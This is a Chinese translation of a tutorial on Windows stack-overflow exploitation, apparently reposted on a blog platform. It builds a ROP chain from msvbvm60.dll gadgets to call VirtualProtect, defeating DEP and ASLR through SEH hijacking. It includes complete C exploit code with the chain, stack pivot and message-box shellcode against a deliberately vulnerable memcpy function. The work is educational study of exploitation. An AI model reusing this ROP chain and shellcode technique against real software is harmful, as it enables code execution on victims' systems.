slf4j 如何返回堆栈_Windows内存破坏漏洞的现代探索,Part I:堆栈溢出(三)

fc48dee87554cf47e00c310f020e9528.png

在上一篇文章中,我们为读者详细介绍了SHE劫持技术,以及DED和ASLR防御机制,在本文中,我们将继续为读者讲解如何创建ROP链。

创建ROP链

第一步,我使用Ropper从msvbvm60.dll中提取所有可能有用的可执行代码片段(以RET、JMP或CALL指令结束)。实际上,我创建ROP链有三个主要意图:

  1. 通过从msvbvm60.dll的IAT加载其地址来调用KERNEL32.DLL!VirtualProtect(以绕过KERNEL32.DLL的ASLR)。
  2. 动态控制VirtualProtect的第一个参数,使其指向堆栈上的shellcode(以绕过DEP)。
  3. 人为控制VirtualProtect的返回地址,令其返回时,动态地执行堆栈上的shellcode(现在的权限是+RWX)。

在编写ROP链的时候,我先用汇编语言描述所需逻辑的伪代码,然后,设法用ROP Gadget来复现该逻辑。

Gadget #1 | MOV REG1, <Address of VirtualProtect IAT thunk> ; RET

Gadget #2 | MOV REG2, <Address of JMP ESP - Gadget #6> ; RET

Gadget #3 | MOV REG3, <Address of gadget #5> ; RET

Gadget #4 | PUSH ESP ; PUSH REG3 ; RET

Gadget #5 | PUSH REG2 ; JMP DWORD [REG1]

Gadget #6 | JMP ESP

图14 ROP链伪代码逻辑

值得注意的是,在上面精心构造的的逻辑中,使用了msvbvm60.dll中一个包含VirtualProtect地址的解除引用的IAT thunk地址,以解决KERNEL32.DLL的ASLR问题。Windows在加载msvbvm60.dll时,会为我们解析VirtualProtect的地址,并且这个地址将始终保存在msvbvm60.dll内的同一位置处。这里,我打算使用JMP指令来调用它,而不是CALL指令。这是因为我需要为调用VirtualProtect创建一个伪造的返回地址,这个返回地址将导致shellcode(现在已经摆脱了DEP)直接执行。这个伪造的返回地址会指向一个JMP ESP gadget。我这么做的理由是:尽管不知道(也无法知道)通过溢出写入栈中的shellcode的具体位置,但该gadget返回后,ESP会指向ROP链的末端,而我可以精心构造溢出内容,使shellcode正好位于这个ROP链后面。

此外,我在第4个gadget中也使用了同样的技术:通过两个push指令让ESP动态生成VirtualProtect的第一个参数。与JMP ESP指令不同(其中ESP会直接指向我的shellcode),这里的ESP会与我的shellcode的地址略有偏差(运行时ESP与ROP链末端的距离)。这并不是一个问题,因为充其量只是在ROP链的末端除了shellcode本身之外,还将禁用DEP。

在构建ROP链的过程中(也就是将上述逻辑付诸实施过程中),我发现gadget #4(我的伪代码gadget中最稀有和最不可替代的一个)没有出现在msvbvm60.dll中。这个挫折是一个很好的例子,说明了为什么在任何公共漏洞利用代码中几乎每个ROP链都在使用PUSHAD指令,而不是类似于我所描述的伪代码逻辑。

简而言之,PUSHAD指令允许exploit编写者动态地将ESP的值(以及堆栈上的shellcode)与所有其他相关的KERNEL32.DLL!VirtualProtect参数一起放到堆栈上,而无需使用任何罕见的gadget。他们所有需要做的就是正确填充每个通用寄存器的值,然后执行PUSHAD ; RET gadget来完成攻击。关于这方面的详细介绍,请访问Corelan撰写的“ Exploit writing tutorial part 10 : Chaining DEP with ROP – the Rubik’s[TM] Cube”一文。最终,我们的ROP链需要通过如下方式设置相关的寄存器:

EAX = NOP sled

ECX = Old protection (writable address)

EDX = PAGE_EXECUTE_READWRITE

EBX = Size

EBP = VirtualProtect return address (JMP ESP)

ESI = KERNEL32.DLL!VirtualProtect

EDI = ROPNOP

在实践中,上面的逻辑可以被ROP gadget替换,具体如下面的伪码所示:

Gadget #1: MOV EAX, <msvbvm60.dll!VirtualProtect>

Gadget #2: MOV ESI, DWORD [ESI]

Gadget #3: MOV EAX, 0x90909090

Gadget #4: MOV ECX, <msvbvm60.dll!.data>

Gadget #5: MOV EDX, 0x40

Gadget #6: MOV EBX, 0x2000

Gadget #7: MOV EBP,

Gadget #8: MOV EDI,

Gadget #9: PUSHAD

Gadget #10: ROPNOP

Gadget #11: JMP ESP

上面的伪码逻辑最终可以转换为来自msvbvm60.dll的ROP链数据,具体如下所示:

uint8_t RopChain[] =

"x54x1ex00x66" // 0x66001e54 | Gadget #1 | POP ESI ; RET

"xd0x10x00x66" // 0x660010d0 -> ESI | <msvbvm60.dll!VirtualProtect thunk>

"xfcx50x05x66" // 0x660550fc | Gadget #2 | MOV EAX, DWORD [ESI] ; POP ESI; RET

"xefxbexadxde" // Junk

"xf8x9fx0fx66" // 0x660f9ff8 | Gadget #3 | XCHG EAX, ESI; RET

"x1fx98x0ex66" // 0x660e981f | Gadget #4 | POP EAX; RET

"x90x90x90x90" // NOP sled -> EAX | JMP ESP will point here

"xf0x1dx00x66" // 0x66001df0 | Gadget #5 | POP EBP; RET

"xeaxcbx01x66" // 0x6601CBEA -> EBP |

"x10x1fx00x66" // 0x66001f10 | Gadget #6 | POP EBX; RET

"x00x20x00x00" // 0x2000 -> EBX | VirtualProtect() | Param #2 | dwSize

"x21x44x06x66" // 0x66064421 | Gadget #7 | POP EDX; RET

"x40x00x00x00" // 0x40 -> EDX | VirtualProtect() | Param #3 | flNewProtect | PAGE_EXECUTE_READWRITE

"xf2x1fx00x66" // 0x66001ff2 | Gadget #8 | POP ECX; RET

"x00xa0x10x66" // 0x6610A000 -> ECX | VirtualProtect() | Param #4 | lpflOldProtect

"x5bx57x00x66" // 0x6600575b | Gadget #9 | POP EDI; RET

"xf9x28x0fx66" // 0x660F28F9 -> EDI |

"x54x12x05x66" // 0x66051254 | Gadget #10 | PUSHAD; RET

// 0x660F28F9 | Gadget #11 | ROPNOP | returns into VirtualProtect

// 0x6601CBEA | Gadget #12 | PUSH ESP; RET | return address from VirtualProtect

图15 来自msvbvm60.dll的ROP链

执行任意代码

构建了ROP链,也搞定了劫持EIP的方法,现在剩下的唯一任务就是构建exploit。为此,我们必须了解当伪造的SEH handler收到程序的控制权时堆栈的布局情况。理想情况下,我们当然希望ESP直接指向ROP链的顶部,并结合EIP重定向,使其指向链中的第一个gadget。在实践中,这是不可能的。让我们回顾一下图8所示的堆栈喷射代码,并在在伪造的handler的开始处设置一个断点,以观察发生溢出和EIP劫持后栈的状态。

d1182344c1a548424fb6f13e53587c57.png

图16 喷入的SEH handler执行时堆栈的状态

在右边的突出显示的区域,我们可以看到堆栈的底部位于0x010FF3C0处。然而,您可能会注意到,堆栈中的值都不是我们溢出的内容——大家可能还记得,在发生访问冲突之前,我们在不断向堆栈中喷射伪造的SEH handler的地址。在左边突出显示的区域,我们可以看到,我们的溢出内容起始于0x010FFA0C附近。因此,在异常发生后,NTDLL.DLL让ESP向我们用溢出内容覆盖的堆栈区域下方偏移了0x64C字节(记住,堆栈是向下生长的,而不是向上生长的)。有了这些信息,就不难理解发生了什么。当NTDLL.DLL处理异常时,它开始使用异常发生时ESP下方的堆栈区域,而这个区域是我们鞭长莫及的,因此,也就无法写入我们的ROP链。

因此,这就产生了一个有趣的问题。也就是说,要想执行ROP链,我们需要让伪造的SEH handler设法让ESP(栈顶指针)重新指向由溢出内容覆盖的堆栈区域。当我们的断点被击中时,检查ESP的值,我们可以在0x010FF3C0处看到一个返回NTDLL.DLL的地址(无用),其后是另一个位于我们所能控制的堆栈范围(0x010FF4C4)下方的地址(也无用),它位于0x010FF3C4处。然而,0x010FF3C8处的第三个值0x010FF3A74直接落在从0x010FFA0C开始的受控区域的地址范围内,其偏移值为0x64。重新审视异常处理程序的原型,就会发现这第三个值(代表传递给处理程序的第二个参数)对应的是Windows传递给SEH handler的“已建帧”的指针。

EXCEPTION_DISPOSITION __cdecl SehHandler(EXCEPTION_RECORD* pExceptionRecord, void* pEstablisherFrame, CONTEXT* pContextRecord, void* pDispatcherContext)

在我们的调试器中,检查堆栈中0x010FF3A74这个地址处的内容,我们可以更进一步地了解这个参数(也称为NSEH)的指向。

b0e522af4e47d717630cb69dc0cdfefa.png

图17 传递给SEH handler的已建帧参数所指示的堆栈区域

果然,我们可以看到,这个地址指向我们的溢出所控制的堆栈的一个区域(现在该区域已经被喷入的handler地址填满了)。具体来说,它直接指向前面提到的EXCEPTION_REGISTRATION_RECORD结构体的开始位置,而我们早就覆盖了这个结构体并用它来劫持EIP。在理想情况下,我们伪造的SEH handler会将ESP设置为[ESP + 8],并且我们会将ROP链的开头部分放在被我们的溢出内容覆盖的EXCEPTION_REGISTRATION_RECORD结构体的开始处。对于这种类型的堆栈pivot,一个理想的gadget是POP REG;POP REG;POP ESP;RET或这种逻辑的一些变体,然而,msvbvm60.dll中并没有这种gadget,我不得不设法设计一个不同的解决方案。如前所述,当NTDLL将EIP重定向到我们伪造的SEH handler时,ESP在堆栈上的偏移量0x64C已经超出了我们用溢出控制的区域(具体来说,跑到该区域的下方了)。因此,对于堆栈pivot的这个问题,一个不太优雅的解决方案就是直接给ESP加上一个大于或等于0x64C的值。Ropper提供了一个功能,可以提取潜在的堆栈pivot gadget:

cd5dfbe7185383a14ba9638f3646d2d7.png

图18 使用Ropper从msvbvm60.dll中提取堆栈pivot

ADD ESP,0x1004 ; RET是一个略显混乱的gadget:它超出溢出开始处0x990个字节,但由于它是唯一一个值大于0x64C的ADD ESP,因此别无选择。这个堆栈pivot会让ESP从我们的溢出起始处超出0x990或0x98C个字节(当然,对于同一应用程序的不同实例以及Windows的不同版本来说,该值还能会有所变化)。这意味着我们需要在实际ROP链开始之前,用0x98C个垃圾字节和ROPNOP来填充溢出。

52def08930c593014490d21e029dbaa6.png

图19 溢出后EIP劫持点处的堆栈布局图

将这些知识整合到一段代码中:

#include

#include

#include

uint8_t Exploit[] =

"AAAAAAAAAAAAAAAA" // 16 bytes for buffer length

"AAAA" // Stack Cookie

"AAAA" // EBP

"AAAA" // Return address

"AAAA" // Overflow() | Param #1 | pInputBuf

"AAAA" // Overflow() | Param #2 | dwInputBufSize

"DDDD" // EXECEPTION_REGISTRATION_RECORD.Next

"xf3x28x0fx66"// EXECEPTION_REGISTRATION_RECORD.Handler | 0x660f28f3 | ADD ESP, 0x1004; RET

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"xf9x28x0fx66" // 0x660F28F9 | ROPNOP

// ROP chain begins

// EAX = NOP sled

// ECX = Old protection (writable address)

// EDX = PAGE_EXECUTE_READWRITE

// EBX = Size

// EBP = VirtualProtect return address (JMP ESP)

// ESI = KERNEL32.DLL!VirtualProtect

// EDI = ROPNOP

"x54x1ex00x66" // 0x66001e54 | Gadget #1 | POP ESI ; RET

"xd0x10x00x66" // 0x660010d0 -> ESI | <msvbvm60.dll!VirtualProtect thunk>

"xfcx50x05x66" // 0x660550fc | Gadget #2 | MOV EAX, DWORD [ESI] ; POP ESI; RET

"xefxbexadxde" // Junk

"xf8x9fx0fx66" // 0x660f9ff8 | Gadget #3 | XCHG EAX, ESI; RET

"x1fx98x0ex66" // 0x660e981f | Gadget #4 | POP EAX; RET

"x90x90x90x90" // NOP sled -> EAX | JMP ESP will point here

"xf0x1dx00x66" // 0x66001df0 | Gadget #5 | POP EBP; RET

"xeaxcbx01x66" // 0x6601CBEA -> EBP |

"x10x1fx00x66" // 0x66001f10 | Gadget #6 | POP EBX; RET

"x00x20x00x00" // 0x2000 -> EBX | VirtualProtect() | Param #2 | dwSize

"x21x44x06x66" // 0x66064421 | Gadget #7 | POP EDX; RET

"x40x00x00x00" // 0x40 -> EDX | VirtualProtect() | Param #3 | flNewProtect | PAGE_EXECUTE_READWRITE

"xf2x1fx00x66" // 0x66001ff2 | Gadget #8 | POP ECX; RET

"x00xa0x10x66" // 0x6610A000 -> ECX | VirtualProtect() | Param #4 | lpflOldProtect

"x5bx57x00x66" // 0x6600575b | Gadget #9 | POP EDI; RET

"xf9x28x0fx66" // 0x660F28F9 -> EDI |

"x54x12x05x66" // 0x66051254 | Gadget #10 | PUSHAD; RET

// 0x660F28F9 | Gadget #11 | ROPNOP | returns into VirtualProtect

// 0x6601CBEA | Gadget #12 | PUSH ESP; RET | return address from VirtualProtect

// Shellcode

"x55x89xe5x68x88x4ex0dx00xe8x53x00x00x00x68x86x57"

"x0dx00x50xe8x94x00x00x00x68x33x32x00x00x68x55x73"

"x65x72x54xffxd0x68x1axb8x06x00x50xe8x7cx00x00x00"

"x6ax64x68x70x77x6ex65x89xe1x68x6ex65x74x00x68x6f"

"x72x72x2ex68x65x73x74x2dx68x66x6fx72x72x68x77x77"

"x77x2ex89xe2x6ax00x52x51x6ax00xffxd0x89xecx5dxc3"

"x55x89xe5x57x56xbex30x00x00x00x64xadx8bx40x0cx8b"

"x78x18x89xfex31xc0xebx04x39xf7x74x28x85xf6x74x24"

"x8dx5ex24x85xdbx74x14x8bx4bx04x85xc9x74x0dx6ax01"

"x51xe8x5dx01x00x00x3bx45x08x74x06x31xc0x8bx36xeb"

"xd7x8bx46x10x5ex5fx89xecx5dxc2x04x00x55x89xe5x81"

"xecx30x02x00x00x8bx45x08x89x45xf8x8bx55xf8x03x42"

" x83xc0x04x89x45xf0x83xc0x14x89x45xf4x89xc2x8b"

"x45x08x03x42x60x8bx4ax64x89x4dxd0x89x45xfcx89xc2"

"x8bx45x08x03x42x20x89x45xecx8bx55xfcx8bx45x08x03"

"x42x24x89x45xe4x8bx55xfcx8bx45x08x03x42x1cx89x45"

"xe8x31xc0x89x45xe0x89x45xd8x8bx45xfcx8bx40x18x3b"

"x45xe0x0fx86xd2x00x00x00x8bx45xe0x8dx0cx85x00x00"

"x00x00x8bx55xecx8bx45x08x03x04x11x89x45xd4x6ax00"

"x50xe8xbdx00x00x00x3bx45x0cx0fx85xa1x00x00x00x8b"

"x45xe0x8dx14x00x8bx45xe4x0fxb7x04x02x8dx0cx85x00"

"x00x00x00x8bx55xe8x8bx45x08x03x04x11x89x45xd8x8b"

"x4dxfcx89xcax03x55xd0x39xc8x7cx7fx39xd0x7dx7bxc7"

"x45xd8x00x00x00x00x31xc9x8dx9dxd0xfdxffxffx8ax14"

"x08x80xfax00x74x20x80xfax2ex75x15xc7x03x2ex64x6c"

"x6cx83xc3x04xc6x03x00x8dx9dxd0xfexffxffx41xebxde"

"x88x13x41x43xebxd8xc6x03x00x8dx9dxd0xfdxffxffx6a"

"x00x53xe8 x00x00x00x50xe8xa3xfexffxffx85xc0x74"

"x29x89x45xdcx6ax00x8dx95xd0xfexffxffx52xe8x21x00"

"x00x00x50xffx75xdcxe8xd1xfexffxffx89x45xd8xebx0a"

"x8dx45xe0xffx00xe9x1fxffxffxffx8bx45xd8x89xecx5d"

"xc2x08x00x55x89xe5x57x8bx4dx08x8bx7dx0cx31xdbx80"

"x39x00x74x14x0fxb6x01x0cx60x0fxb6xd0x01xd3xd1xe3"

"x41x85xffx74xeax41xebxe7x89xd8x5fx89xecx5dxc2x08"

"x00";



void Overflow(uint8_t* pInputBuf, uint32_t dwInputBufSize) {

char Buf[16] = { 0 };

memcpy(Buf, pInputBuf, dwInputBufSize);

}



int32_t wmain(int32_t nArgc, const wchar_t* pArgv[]) {

char Junk[0x5000] = { 0 }; // Move ESP lower to ensure the exploit data can be accomodated in the overflow

HMODULE hModule = LoadLibraryW(L"msvbvm60.dll");



__asm {

Push0xdeadc0de// Address of handler function

PushFS:[0]// Address of previous handler

Mov FS:[0], Esp// Install new EXECEPTION_REGISTRATION_RECORD

}



printf("... loaded non-ASLR/non-SafeSEH module msvbvm60.dll to 0x%prn", hModule);

printf("... passing %d bytes of data to vulnerable functionrn", sizeof(Exploit) - 1);

Overflow(Exploit, 0x20000);

return 0;

}

图20 存在堆栈溢出漏洞的应用程序,以及通过SEH劫持绕过堆栈Cookies的exploit代码

上面的代码中有几个细节值得注意。首先,您可能注意到,我通过将垃圾异常处理程序(0xdeadc0de)链接到TEB(FS[0])中的处理程序列表,显式注册了该处理程序。之所以这样做,是因为我发现在堆栈顶部覆盖NTDLL.DLL注册的默认处理程序的做法不太可靠。这是因为有时堆栈的顶端没有足够的空间来容纳shellcode,这会触发VirtualProtect的STATUS_CONFICTING_ADDRESS错误(代码0xc0000015)。

图20中另一个值得注意的细节是,我在ROP链末端的溢出内容中加入了自己的shellcode。这是我编写的一个自定义的shellcode(源代码可以从Github上下载),它在ROP链化后的堆栈上被执行后会弹出一个消息框。

编译完含有溢出漏洞程序后,我们可以进行单步跟踪,看看溢出数据是如何结合在一起来执行shellcode的。

1044d3ab88e9a4d5b07cb33cfb6bc577.png

图21 存在漏洞的程序在发生堆栈溢出前的状态

在第一个断点处,我们可以看到,栈上的目标EXCEPTION_REGISTRATION_RECORD位于0x00B9ABC8处。在发生溢出之后,我们可以期待该handler字段将被我们伪造的SEH handler的地址所覆盖。

560e5adf4a49927499b7dbbe55ca7d26.png

图22 memcpy对堆栈末端之外执行写入操作是抛出的访问违例异常(Access violation exception)

在memcpy函数中,由于rep MOVSB指令试图将数据写入堆栈的末端之外的内存时,发生了访问违例异常。在0x00B9ABCC处,我们可以看到EXCEPTION_REGISTRATION_RECORD结构体的handler字段已经被我们msvbvm60.dll中的堆栈pivot gadget的地址所覆盖。

88086a626b67b6a9892a0596db46f1da.png

图23 伪造的SEH handler让ESP跳回由溢出控制的地区

在堆栈中向上跳过0x1004字节,我们可以看到在突出显示区域,ESP现在指向我们ROP链的开始地址。这个ROP链将填充所有相关寄存器的值,以便为PUSHAD gadget做好相应的准备,之后,该gadget将把这些值移到堆栈上,从而为调用KERNEL32.DLL!VirtualProtect做好准备。

b37de045074ae1138d91663e797b5960.png

图24 PUSHAD为绕过DEP准备好相应的调用栈

在PUSHAD指令执行后,我们可以看到ESP现在指向msvbvm60.dll中的ROPN,其后紧跟KERNEL32.DLL中VirtualProtect的地址。在0x00B9B594处,我们可以看到传递给VirtualProtect的第一个参数,就是我们堆栈上0x00B9B5A4处的shellcode的地址(该地址在图24中已经突出显示)。

9aedf55818dc5ec0554dde44f244c538.png

图25 ROP链的最后一个gadget将EIP设置为ESP

一旦VirtualProtect返回,ROP链中的最后一个gadget就会将EIP重定向到ESP的值,这样,ESP将指向我们直接存储在ROP链之后的shellcode的起始位置。您可能已经注意到,shellcode的前4个字节实际上就是ROP链通过PUSHAD指令动态生成的NOP指令,而不是通过溢出写入的shellcode的起始位置。

004abe9219b59cde2c3e05903fc5c31f.png

图26 弹出消息框的shellcode在堆栈上成功执行,从而完成了漏洞的利用过程

小结

在本文中,我们为读者解释了ROP链的创建过程,以及执行任意代码的实现过程,在下一篇文章中,我们将为读者介绍针对SEH劫持技术的一种强大的防御机制,即SEHOP。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值